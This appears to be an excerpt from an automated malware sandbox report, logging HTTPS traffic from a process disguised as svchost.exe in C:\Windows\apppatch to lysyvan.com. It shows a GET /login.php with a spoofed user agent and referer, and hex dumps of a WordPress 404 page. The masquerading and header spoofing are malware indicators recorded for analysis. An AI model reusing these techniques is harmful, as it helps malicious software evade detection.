                                                                                                                                                                                                                    Data Ascii: 7c20<!DOCTYPE html><html lang="en-US" data-amp-bind-class="isDark ? 'neve-dark-theme' : 'neve-light-theme'" class="neve-dark-theme" amp="" data-amp-auto-lightbox-disable transformed="self;v=1" i-amphtml-layout="" i-amphtml-no-boilerplate="" i-amphtml-b
                                                                                                                                                                                                                    2024-11-11 17:48:55 UTC1369INData Raw: 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 61 6d 70 70 72 6f 6a 65 63 74 2e 6f 72 67 22 3e 3c 73 74 79 6c 65 20 61 6d 70 2d 72 75 6e 74 69 6d 65 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 76 65 72 73 69 6f 6e 3d 22 30 31 32 34 31 30 31 36 31 38 30 31 30 30 30 22 3e 68 74 6d 6c 7b 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 7d 68 74 6d 6c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 65 7b 68 65 69 67 68 74 3a 31 30 30 25 21
                                                                                                                                                                                                                    Data Ascii: ="UTF-8"><meta name="viewport" content="width=device-width,minimum-scale=1"><link rel="preconnect" href="https://cdn.ampproject.org"><style amp-runtime="" i-amphtml-version="012410161801000">html{overflow-x:hidden!important}html.i-amphtml-fie{height:100%!
                                                                                                                                                                                                                    2024-11-11 17:48:55 UTC1369INData Raw: 3a 74 6f 75 63 68 21 69 6d 70 6f 72 74 61 6e 74 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 3e 62 6f 64 79 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 21 69 6d 70 6f 72 74 61 6e 74 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 7b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78 2d 65 6c 65 6d 65 6e 74 2c 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 5b 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78 5d 7b 76 69 73 69
                                                                                                                                                                                                                    Data Ascii: :touch!important}#i-amphtml-wrapper>body{position:relative!important;border-top:1px solid transparent!important}#i-amphtml-wrapper+body{visibility:visible}#i-amphtml-wrapper+body .i-amphtml-lightbox-element,#i-amphtml-wrapper+body[i-amphtml-lightbox]{visi
                                                                                                                                                                                                                    2024-11-11 17:48:55 UTC1369INData Raw: 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 5b 73 74 61 6e 64 61 6c 6f 6e 65 5d 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 2d 70 61 67 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 37 35 37 35 37 35 7d 61 6d 70 2d 73 74 6f 72 79 20 2e 61 6d 70 2d 61 63 74 69 76 65 3e 64 69 76 2c 61 6d 70 2d 73 74 6f 72 79 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 6f 61 64 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 2d 70 61 67 65 3a 6e 6f 74 28 3a 66 69 72 73 74 2d 6f 66 2d 74 79 70 65 29
                                                                                                                                                                                                                    Data Ascii: !important}amp-story[standalone]{background-color:#000!important;position:relative!important}amp-story-page{background-color:#757575}amp-story .amp-active>div,amp-story .i-amphtml-loader-background{display:none!important}amp-story-page:not(:first-of-type)
                                                                                                                                                                                                                    2024-11-11 17:48:55 UTC1369INData Raw: 2d 6c 61 79 6f 75 74 2d 72 65 73 70 6f 6e 73 69 76 65 29 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 73 69 7a 65 73 5d 3a 6e 6f 74 28 69 6d 67 29 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 72 65 73 70 6f 6e 73 69 76 65 29 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 69 6e 74 72 69 6e 73 69 63 2c 5b 6c 61 79 6f 75 74 3d 69 6e 74 72 69 6e 73 69 63 5d 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 69 6e 74 72 69 6e 73 69 63 29 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f
                                                                                                                                                                                                                    Data Ascii: -layout-responsive),[width][height][sizes]:not(img):not([layout]):not(.i-amphtml-layout-responsive){display:block;position:relative}.i-amphtml-layout-intrinsic,[layout=intrinsic][width][height]:not(.i-amphtml-layout-intrinsic){display:inline-block;positio
                                                                                                                                                                                                                    2024-11-11 17:48:55 UTC1369INData Raw: 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 62 6c 75 72 72 79 2d 70 6c 61 63 65 68 6f 6c 64 65 72 2c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 6c 6c 2d 63 6f 6e 74 65 6e 74 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 30 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 69 6e 2d 77 69 64 74 68 3a 31 30 30 25 3b 77 69 64 74 68 3a 30 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 73 69 7a 65 2d 64 65 66 69 6e 65 64 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 6c 6c 2d 63 6f 6e 74 65 6e 74 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 6c 65
                                                                                                                                                                                                                    Data Ascii: one!important}}.i-amphtml-blurry-placeholder,.i-amphtml-fill-content{display:block;height:0;max-height:100%;max-width:100%;min-height:100%;min-width:100%;width:0;margin:auto}.i-amphtml-layout-size-defined .i-amphtml-fill-content{position:absolute;top:0;le
                                                                                                                                                                                                                    2024-11-11 17:48:55 UTC1369INData Raw: 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 63 6f 6e 74 61 69 6e 65 72 29 3e 2a 2c 5b 6c 61 79 6f 75 74 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 3d 63 6f 6e 74 61 69 6e 65 72 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 68 65 69 67 68 74 73 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 73 69 7a 65 73 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 61 6d 70 2d 69 6d 67 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d
                                                                                                                                                                                                                    Data Ascii: (.i-amphtml-layout-container)>*,[layout]:not([layout=container]):not(.i-amphtml-element)>*,[width][height][heights]:not([layout]):not(.i-amphtml-element)>*,[width][height][sizes]:not([layout]):not(.i-amphtml-element)>*{display:none}amp-img:not(.i-amphtml-
                                                                                                                                                                                                                    2024-11-11 17:48:55 UTC1369INData Raw: 21 69 6d 70 6f 72 74 61 6e 74 3b 7a 2d 69 6e 64 65 78 3a 31 7d 61 6d 70 2d 69 6d 67 5b 69 2d 61 6d 70 68 74 6d 6c 2d 73 73 72 5d 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 5b 70 6c 61 63 65 68 6f 6c 64 65 72 5d 7b 7a 2d 69 6e 64 65 78 3a 61 75 74 6f 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6e 6f 74 62 75 69 6c 74 3e 5b 70 6c 61 63 65 68 6f 6c 64 65 72 5d 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 68 69 64 64 65 6e 2d 62 79 2d 6d 65 64 69 61 2d 71 75 65 72 79 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 2d 65 72 72 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 72 65 64 21 69 6d 70 6f 72 74
                                                                                                                                                                                                                    Data Ascii: !important;z-index:1}amp-img[i-amphtml-ssr]:not(.i-amphtml-element)>[placeholder]{z-index:auto}.i-amphtml-notbuilt>[placeholder]{display:block!important}.i-amphtml-hidden-by-media-query{display:none!important}.i-amphtml-element-error{background:red!import
                                                                                                                                                                                                                    2024-11-11 17:48:55 UTC1369INData Raw: 65 6e 21 69 6d 70 6f 72 74 61 6e 74 3b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 61 6d 70 2d 73 74 6f 72 79 7b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 7d 68 74 6d 6c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 65 3e 61 6d 70 2d 61 6e 61 6c 79 74 69 63 73 7b 70 6f 73 69 74 69 6f 6e 3a 69 6e 69 74 69 61 6c 21 69 6d 70 6f 72 74 61 6e 74 7d 5b 76 69 73 69 62 6c 65 2d 77 68 65 6e 2d 69 6e 76 61 6c 69 64 5d 3a 6e 6f 74 28 2e 76 69 73 69 62 6c 65 29 2c 66 6f 72 6d 20 5b 73 75 62 6d 69 74 2d 65 72 72 6f 72 5d 2c 66 6f 72 6d 20 5b 73 75 62 6d 69 74 2d 73 75 63 63 65 73 73 5d 2c 66 6f 72 6d 20 5b 73 75 62 6d 69 74 74 69 6e 67 5d 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 61 6d 70 2d 61 63 63 6f 72 64 69 6f 6e 7b 64 69
                                                                                                                                                                                                                    Data Ascii: en!important;visibility:hidden}amp-story{visibility:hidden!important}html.i-amphtml-fie>amp-analytics{position:initial!important}[visible-when-invalid]:not(.visible),form [submit-error],form [submit-success],form [submitting]{display:none}amp-accordion{di


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    9192.168.2.455726188.114.97.34437436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    2024-11-11 17:48:56 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: lysyvan.com
                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                    2024-11-11 17:48:58 UTC1086INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:58 GMT
                                                                                                                                                                                                                    Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                    vary: Accept-Encoding
                                                                                                                                                                                                                    expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                                    Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                                    link: <https://lysyvan.com/wp-json/>; rel="https://api.w.org/"
                                                                                                                                                                                                                    server-timing: amp_sanitizer;dur="39.9",amp_style_sanitizer;dur="19.5",amp_tag_and_attribute_sanitizer;dur="15.7",amp_optimizer;dur="21.2"
                                                                                                                                                                                                                    cf-cache-status: DYNAMIC
                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7TXAsd11UqgpayS76qkJdcor311wa4zB2YlSj0c5nNUjm821ylSEaK%2BEs8QUA21CO974MtkUuGkUG%2FSC57OKw9VTjytlBaRbuKIJmZ6reNVU87MHQvEM3i1338go5A%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                    CF-RAY: 8e101db77cfb0f6c-EWR
                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1300&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=881&delivery_rate=2273155&cwnd=234&unsent_bytes=0&cid=aaded6fda7720b1c&ts=1494&x=0"
                                                                                                                                                                                                                    2024-11-11 17:48:58 UTC283INData Raw: 37 63 32 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 64 61 74 61 2d 61 6d 70 2d 62 69 6e 64 2d 63 6c 61 73 73 3d 22 69 73 44 61 72 6b 20 3f 20 27 6e 65 76 65 2d 64 61 72 6b 2d 74 68 65 6d 65 27 20 3a 20 27 6e 65 76 65 2d 6c 69 67 68 74 2d 74 68 65 6d 65 27 22 20 63 6c 61 73 73 3d 22 6e 65 76 65 2d 64 61 72 6b 2d 74 68 65 6d 65 22 20 61 6d 70 3d 22 22 20 64 61 74 61 2d 61 6d 70 2d 61 75 74 6f 2d 6c 69 67 68 74 62 6f 78 2d 64 69 73 61 62 6c 65 20 74 72 61 6e 73 66 6f 72 6d 65 64 3d 22 73 65 6c 66 3b 76 3d 31 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 6e 6f 2d 62 6f 69 6c 65 72 70 6c 61 74 65 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 62
                                                                                                                                                                                                                    Data Ascii: 7c20<!DOCTYPE html><html lang="en-US" data-amp-bind-class="isDark ? 'neve-dark-theme' : 'neve-light-theme'" class="neve-dark-theme" amp="" data-amp-auto-lightbox-disable transformed="self;v=1" i-amphtml-layout="" i-amphtml-no-boilerplate="" i-amphtml-b
                                                                                                                                                                                                                    2024-11-11 17:48:58 UTC1369INData Raw: 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 61 6d 70 70 72 6f 6a 65 63 74 2e 6f 72 67 22 3e 3c 73 74 79 6c 65 20 61 6d 70 2d 72 75 6e 74 69 6d 65 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 76 65 72 73 69 6f 6e 3d 22 30 31 32 34 31 30 31 36 31 38 30 31 30 30 30 22 3e 68 74 6d 6c 7b 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 7d 68 74 6d 6c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 65 7b 68 65 69 67 68 74 3a 31 30 30 25 21
                                                                                                                                                                                                                    Data Ascii: ="UTF-8"><meta name="viewport" content="width=device-width,minimum-scale=1"><link rel="preconnect" href="https://cdn.ampproject.org"><style amp-runtime="" i-amphtml-version="012410161801000">html{overflow-x:hidden!important}html.i-amphtml-fie{height:100%!
                                                                                                                                                                                                                    2024-11-11 17:48:58 UTC1369INData Raw: 3a 74 6f 75 63 68 21 69 6d 70 6f 72 74 61 6e 74 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 3e 62 6f 64 79 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 21 69 6d 70 6f 72 74 61 6e 74 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 7b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78 2d 65 6c 65 6d 65 6e 74 2c 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 5b 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78 5d 7b 76 69 73 69
                                                                                                                                                                                                                    Data Ascii: :touch!important}#i-amphtml-wrapper>body{position:relative!important;border-top:1px solid transparent!important}#i-amphtml-wrapper+body{visibility:visible}#i-amphtml-wrapper+body .i-amphtml-lightbox-element,#i-amphtml-wrapper+body[i-amphtml-lightbox]{visi
                                                                                                                                                                                                                    2024-11-11 17:48:58 UTC1369INData Raw: 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 5b 73 74 61 6e 64 61 6c 6f 6e 65 5d 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 2d 70 61 67 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 37 35 37 35 37 35 7d 61 6d 70 2d 73 74 6f 72 79 20 2e 61 6d 70 2d 61 63 74 69 76 65 3e 64 69 76 2c 61 6d 70 2d 73 74 6f 72 79 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 6f 61 64 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 2d 70 61 67 65 3a 6e 6f 74 28 3a 66 69 72 73 74 2d 6f 66 2d 74 79 70 65 29
                                                                                                                                                                                                                    Data Ascii: !important}amp-story[standalone]{background-color:#000!important;position:relative!important}amp-story-page{background-color:#757575}amp-story .amp-active>div,amp-story .i-amphtml-loader-background{display:none!important}amp-story-page:not(:first-of-type)
                                                                                                                                                                                                                    2024-11-11 17:48:58 UTC1369INData Raw: 2d 6c 61 79 6f 75 74 2d 72 65 73 70 6f 6e 73 69 76 65 29 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 73 69 7a 65 73 5d 3a 6e 6f 74 28 69 6d 67 29 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 72 65 73 70 6f 6e 73 69 76 65 29 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 69 6e 74 72 69 6e 73 69 63 2c 5b 6c 61 79 6f 75 74 3d 69 6e 74 72 69 6e 73 69 63 5d 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 69 6e 74 72 69 6e 73 69 63 29 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f
                                                                                                                                                                                                                    Data Ascii: -layout-responsive),[width][height][sizes]:not(img):not([layout]):not(.i-amphtml-layout-responsive){display:block;position:relative}.i-amphtml-layout-intrinsic,[layout=intrinsic][width][height]:not(.i-amphtml-layout-intrinsic){display:inline-block;positio
                                                                                                                                                                                                                    2024-11-11 17:48:58 UTC1369INData Raw: 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 62 6c 75 72 72 79 2d 70 6c 61 63 65 68 6f 6c 64 65 72 2c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 6c 6c 2d 63 6f 6e 74 65 6e 74 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 30 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 69 6e 2d 77 69 64 74 68 3a 31 30 30 25 3b 77 69 64 74 68 3a 30 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 73 69 7a 65 2d 64 65 66 69 6e 65 64 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 6c 6c 2d 63 6f 6e 74 65 6e 74 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 6c 65
                                                                                                                                                                                                                    Data Ascii: one!important}}.i-amphtml-blurry-placeholder,.i-amphtml-fill-content{display:block;height:0;max-height:100%;max-width:100%;min-height:100%;min-width:100%;width:0;margin:auto}.i-amphtml-layout-size-defined .i-amphtml-fill-content{position:absolute;top:0;le
                                                                                                                                                                                                                    2024-11-11 17:48:58 UTC1369INData Raw: 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 63 6f 6e 74 61 69 6e 65 72 29 3e 2a 2c 5b 6c 61 79 6f 75 74 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 3d 63 6f 6e 74 61 69 6e 65 72 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 68 65 69 67 68 74 73 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 73 69 7a 65 73 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 61 6d 70 2d 69 6d 67 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d
                                                                                                                                                                                                                    Data Ascii: (.i-amphtml-layout-container)>*,[layout]:not([layout=container]):not(.i-amphtml-element)>*,[width][height][heights]:not([layout]):not(.i-amphtml-element)>*,[width][height][sizes]:not([layout]):not(.i-amphtml-element)>*{display:none}amp-img:not(.i-amphtml-
                                                                                                                                                                                                                    2024-11-11 17:48:58 UTC1369INData Raw: 21 69 6d 70 6f 72 74 61 6e 74 3b 7a 2d 69 6e 64 65 78 3a 31 7d 61 6d 70 2d 69 6d 67 5b 69 2d 61 6d 70 68 74 6d 6c 2d 73 73 72 5d 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 5b 70 6c 61 63 65 68 6f 6c 64 65 72 5d 7b 7a 2d 69 6e 64 65 78 3a 61 75 74 6f 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6e 6f 74 62 75 69 6c 74 3e 5b 70 6c 61 63 65 68 6f 6c 64 65 72 5d 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 68 69 64 64 65 6e 2d 62 79 2d 6d 65 64 69 61 2d 71 75 65 72 79 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 2d 65 72 72 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 72 65 64 21 69 6d 70 6f 72 74
                                                                                                                                                                                                                    Data Ascii: !important;z-index:1}amp-img[i-amphtml-ssr]:not(.i-amphtml-element)>[placeholder]{z-index:auto}.i-amphtml-notbuilt>[placeholder]{display:block!important}.i-amphtml-hidden-by-media-query{display:none!important}.i-amphtml-element-error{background:red!import
                                                                                                                                                                                                                    2024-11-11 17:48:58 UTC1369INData Raw: 65 6e 21 69 6d 70 6f 72 74 61 6e 74 3b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 61 6d 70 2d 73 74 6f 72 79 7b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 7d 68 74 6d 6c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 65 3e 61 6d 70 2d 61 6e 61 6c 79 74 69 63 73 7b 70 6f 73 69 74 69 6f 6e 3a 69 6e 69 74 69 61 6c 21 69 6d 70 6f 72 74 61 6e 74 7d 5b 76 69 73 69 62 6c 65 2d 77 68 65 6e 2d 69 6e 76 61 6c 69 64 5d 3a 6e 6f 74 28 2e 76 69 73 69 62 6c 65 29 2c 66 6f 72 6d 20 5b 73 75 62 6d 69 74 2d 65 72 72 6f 72 5d 2c 66 6f 72 6d 20 5b 73 75 62 6d 69 74 2d 73 75 63 63 65 73 73 5d 2c 66 6f 72 6d 20 5b 73 75 62 6d 69 74 74 69 6e 67 5d 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 61 6d 70 2d 61 63 63 6f 72 64 69 6f 6e 7b 64 69
                                                                                                                                                                                                                    Data Ascii: en!important;visibility:hidden}amp-story{visibility:hidden!important}html.i-amphtml-fie>amp-analytics{position:initial!important}[visible-when-invalid]:not(.visible),form [submit-error],form [submit-success],form [submitting]{display:none}amp-accordion{di
